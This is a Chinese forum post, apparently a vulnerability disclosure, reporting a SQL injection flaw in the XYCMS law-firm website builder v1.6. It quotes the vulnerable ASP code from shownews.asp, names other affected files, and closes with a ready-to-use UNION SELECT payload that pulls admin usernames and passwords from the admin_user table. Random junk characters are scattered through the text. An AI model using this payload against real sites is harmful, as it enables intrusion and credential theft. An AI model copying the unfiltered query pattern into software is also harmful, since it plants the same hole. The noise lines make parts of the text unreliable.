XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
% Q1 ~6 b* f' f# g+ f
) g4 D3 ~0 ^# b) V淫荡分割线
0 D6 B5 F- ^( B% E--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
) T% w  Q2 _& ~- \8 V) [; B源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
漏洞代码：7-13行


. R- \; r% z$ I6 S' x1 v<%
7 \, Q# e7 `  h7 @! Y) Did=request.QueryString("id")
# j- m/ b5 P6 x5 F" P( G' `7 k' J   
- p; A) Y# @% fset snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
9 R' o, }  h6 V8 b  ?snews.open exec,conn,1,1
; m) B. P* Z& u) u0 ~, n5 n%>


什么过滤都没有  直造成注入
# L7 z3 C6 M8 c* {8 G4 t
注入点:http://127.0.0.1:99/shownews.asp?id=xx

- m* c6 h: V/ {  H# {/ G, A其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
. b0 b9 {$ C0 S4 O
$ d5 e0 `$ v; R
+ Y/ ?2 Y8 ^8 R! E9 h5 E& a1 X" j2 @! nexp: union select 1,admin,password,4,5,7 from admin_user
​
. O+ @3 G* R9 ?. G* k1 g+ f